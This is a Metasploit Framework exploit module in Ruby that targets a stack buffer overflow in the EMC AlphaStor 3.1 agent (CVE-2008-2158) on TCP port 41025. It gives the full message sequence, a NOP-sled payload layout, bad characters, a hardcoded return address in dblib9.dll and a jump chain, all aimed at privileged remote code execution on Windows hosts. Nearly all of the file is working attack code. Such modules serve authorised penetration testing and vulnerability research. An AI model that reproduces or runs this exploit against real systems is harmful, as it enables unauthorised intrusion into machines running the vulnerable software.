##
# $Id: alphastor_agent.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC AlphaStor Agent Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
By sending a specially crafted message, an attacker may
be able to execute arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2008-2158' ],
[ 'OSVDB', '45714' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process', # one-shot overwrite.
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
],
'Privileged' => true,
'DisclosureDate' => 'May 27 2008',
'DefaultTarget' => 0))
register_options([Opt::RPORT(41025)], self.class)
end
def exploit
connect
# overwrite via: ascli.exe asopmsg "long_buff"
uno = [0x0000000b].pack('V')
sock.put(uno)
dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
sock.put(dos)
tres = [0x00000004].pack('V')
sock.put(tres)
quatro = [0x0000001b].pack('V')
sock.put(quatro)
cinco = [0x0000047c].pack('V')
sock.put(cinco)
data = make_nops(827 - payload.encoded.length) + payload.encoded
data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"
print_status("Trying target #{target.name}...")
sock.put(data)
handler
disconnect
end
end